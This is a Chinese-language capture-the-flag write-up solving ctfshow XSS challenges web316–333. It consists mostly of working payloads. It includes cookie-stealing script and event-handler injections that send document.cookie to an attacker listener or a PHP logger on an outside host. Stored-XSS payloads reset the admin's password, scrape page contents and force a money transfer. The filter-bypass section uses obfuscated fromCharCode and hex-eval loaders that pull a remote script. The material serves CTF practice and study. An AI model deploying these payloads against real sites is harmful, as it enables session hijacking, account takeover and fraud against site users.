前言
ctfshow web316-333
本人没有vps,于是基于HTCP映射内网穿透来做这几题,配置可以参考https://blog.51cto.com/u_15076215/4531399
介绍:
这是一种将任意Javascript代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取等。
语法基础
JavaScript
菜鸟教程:https://www.runoob.com/js/js-tutorial.html
最基本的js语句
<script>function()</script>
当页面载入完毕后执行Javascript代码
<body onload="myFunction()"></body>
DOM
document.cookie
获取cookie
这里演示一种最基本的xss方法
<script>window.alert(document.cookie)</script>
document.cookie=
设置cookie
<script>document.location.href='http://115.236.153.170/XSS.php?1='+document.cookie</script>
转发语句,触发之后就会跳转到我们的vps的http服务并执行脚本写入文件带出cookie
<?php
$content=$_GET[1];
if(isset($content)){
file_put_contents('flag.txt',$content);
}else{
echo 'no data input';
}
反射型XSS
Web316
这几题的主要思想都是把cookie带到自己的监听端口上,管理员那边会有bot自己点
先在本地虚拟机上开启监听
nc -lvnp 777
然后在题目页面输入xss代码,这里面任选一个
<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
这里要nc多次才能得到flag,因为我们自己本身也点了,相当于X自己
Web317
好像过滤了script,换一种标签即可
<body onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
<svg onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></svg>
<input onfocus="window.open('http://76135132qk.imdo.co:80/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></iframe>
多x几次就有flag了
Web318
过滤了script,img,payload继续一把梭即可
<body onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
<svg onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></svg>
<input onfocus="window.open('http://76135132qk.imdo.co:80/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></iframe>
tips:发现好像网页那边先x我这边再nc好像能稳定成功
Web319
不知道过滤啥,上面的payload继续用
Web320
过滤了空格,可以用%0c
,%09
,/**/
注释符或者/
去绕过
payload:
<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
Web321
ban了xss这个字符串,没啥用,继续打
<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
Web322~326
不知道过滤了啥,反正一把梭
存储型XSS
Web327
flag的获取依旧是得到admin的cookie
这边是要我们给admin发一封邮件,所以收件人是admin,然后信的内容就是我们的代码了,这样admin收到之后打开就会触发我们的代码
储存型XSS和反射型XSS的差别就是持久性,储存箱XSS只要你注入了,每次访问都会返回信息,这一题payload虽然一样但是是通过邮件的方式储存在了那里
这题和前面的反射型XSS是一样的payload,写在信的内容即可
<body/**/onload="window.open('http://76135132qk.imdo.co:80/'+document.cookie)"></body>
Web328
这题有一个登录注册的功能,还有查看用户名密码的用户管理界面,但是这个界面需要是管理员才能看
猜测我们得成为管理员才能在用户管理界面获取我们需要的信息
那么就需要管理员的cookie来绕过登录鉴权,我们可以注册一个账号,其中带有我们的xss语句,此时我们的用户名密码就会出现在用户管理界面中,一旦管理员查看了用户管理界面就会执行xss语句
所以先在注册界面注册一个账号,用户名任意,密码插入我们的payload
payload:
我们这里弹到vps写文件带出管理员的cookie
<script>document.location.href='http://76135132qk.imdo.co/XSS.php?1='+document.cookie</script>
然后注册,这样就能带出cookie了(因为我这里用的是python起的http服务,所以没能解析php写入flag.txt,不过可以监听到请求,也能带出cookie)
把这里最新的PHPSESSID带到我们的cookie中,此时我们就是admin账户了
然后我们不能直接看到后台数据,因为访问的一瞬间就会跳转过去
这里需要抓包才能得到我们的flag
Web329
和上一题一样的注册界面,但是这一次我们并不能在拿到cookie后以admin登入
那就换种方式,我们直接拿想要的内容
<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1)
{window.location.href='http://76135132qk.imdo.co/XSS.php?1='+value.innerHTML;}});</script>
这段js的意思就是从当前界面找到有ctfshow{
的字段,这样子admin那边加载用户管理页面的时候就会让我们获得有ctfshow{
的字段
PS:这次想起来用php起http服务了(
php -S 0.0.0.0:80
成功带出
Web330
上一题的payload打不通,这一题应该是管理员的所在界面没有flag了
不过这一次多了个修改密码的功能,猜测是让我们用xss来修改管理员的密码
先抓包看一下修改密码的请求体
即
http://f19de0ef-594d-4b4c-ae7c-a05b48c02011.challenge.ctf.show/api/change.php?p=123456
然后构造我们的payload:
注意这里要x的是让管理员自己发送请求修改自己的密码,而管理员那边肯定是本地的,所以本地是127.0.0.1
<script>document.location.href='http://127.0.0.1/api/change.php?p=123456'</script>
把密码设置为123456
接下来的话尝试了一下,密码处进行xss失败了,应该是管理员查看用户界面那边也做了敏感处理,我们可以在用户名处进行xss,添加我们的payload
然后等一会就可以登录admin了,密码123456
接下来点击用户管理,因为会跳转到127.0.0.1,所以我们需要先抓包
Web331
这题修改密码的传参方式改为了post传参
我们可以翻一下页面源码,发现调用了select.js,抄一下select.js里面的语句
$.ajax({
url: 'api/change.php',
type: 'post',
data: {
p: newpass
}
});
然后构造我们的payload
<script>$.ajax({url:'api/change.php',type:'post',data:{p:123456}});</script>
接下来就是和上一题一样的打法了
Web332~333
这两题一样,多了个账户余额的功能,flag要9999元才能买到,也给了一个转账汇款的功能
初始给了5块钱,可以给自己转来实现余额增加,那么有一种做法就是burp抓包转账接口,重复这个操作
或者写个脚本:by pop✌
#Author:@Boogipop
import requests
headers={
'cookie':'PHPSESSID=4f3o5emvovrmbfha8b0ee06bvm'
}
data={
'u':'boogipop',
'a':5
}
url='http://f6d876b7-0f8d-4deb-9431-bdc17d253e28.challenge.ctf.show/api/amount.php'
x=4
while True:
data = {
'u': 'boogipop',
'a': x
}
r=requests.post(url,data=data,headers=headers)
if x>10000:
print('-------done------')
break
else:
print('not enough')
x+=x
原本这题还存在非预期解:转-10000即可给自己+10000,类似类型转换?不过现在修了
接下来看xss的做法:
让管理员给我们转账10000元
先抓个包看看接口和请求体
然后构造payload:(管理员付不起10w块)
<script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'0w0',a:10000}});</script>
在注册账号的用户名处进行xss,此时我们就被转了1w,可以去买flag了
绕过过滤
过滤空格:
/**/
,%09
(tab),%0c
(换页符),/
unicode编码:
fromCharCode()
方法将Unicode编码转换为一个字符
<sCRipT>
:document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));
/
:document.write(String.fromCharCode(47));
使用的时候形如:
<body/οnlοad=“document.write(String.fromCharCode(32));document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(114));document.write(String.fromCharCode(73));document.write(String.fromCharCode(112));document.write(String.fromCharCode(116));document.write(String.fromCharCode(32));document.write(String.fromCharCode(115));document.write(String.fromCharCode(114));document.write(String.fromCharCode(67));document.write(String.fromCharCode(61));document.write(String.fromCharCode(47));document.write(String.fromCharCode(47));document.write(String.fromCharCode(120));document.write(String.fromCharCode(115));document.write(String.fromCharCode(46));document.write(String.fromCharCode(115));document.write(String.fromCharCode(98));document.write(String.fromCharCode(47));document.write(String.fromCharCode(89));document.write(String.fromCharCode(84));document.write(String.fromCharCode(85));document.write(String.fromCharCode(104));document.write(String.fromCharCode(62));document.write(String.fromCharCode(60));document.write(String.fromCharCode(47));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));”
过滤
.
:eval()
:js中的eval函数会将传入的字符串当做 JavaScript 代码进行执行,可以识别16进制的字符串例:
<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")> <!--document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,47,47,120,115,46,115,98,47,89,84,85,104,62,60,47,115,67,82,105,112,84,62));
十六进制字符串生成脚本
a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>" res = '' res2 = '' for i in a: tmp = ord(i) res += str(tmp) res+="," res2 +=f"document.write(String.fromCharCode({str(tmp)}));" # print(res) # print(res2) #-------------生成脚本分为上下2个,上面的是生成没过滤.的脚本--------------- a = "646f63756d656e742e777269746528537472696e672e66726f6d43686172436f64652836302c3131352c36372c3131342c37332c3131322c3131362c33322c3131352c3131342c36372c36312c34372c34372c3132302c3131352c34362c3131352c39382c34372c38392c38342c38352c3130342c36322c36302c34372c3131352c36372c38322c3130352c3131322c38342c363229293b" z = 0 res = '' for i in a: if z ==2: z=0 if z ==0: res+=r"\x" res += i z+=1 print(res)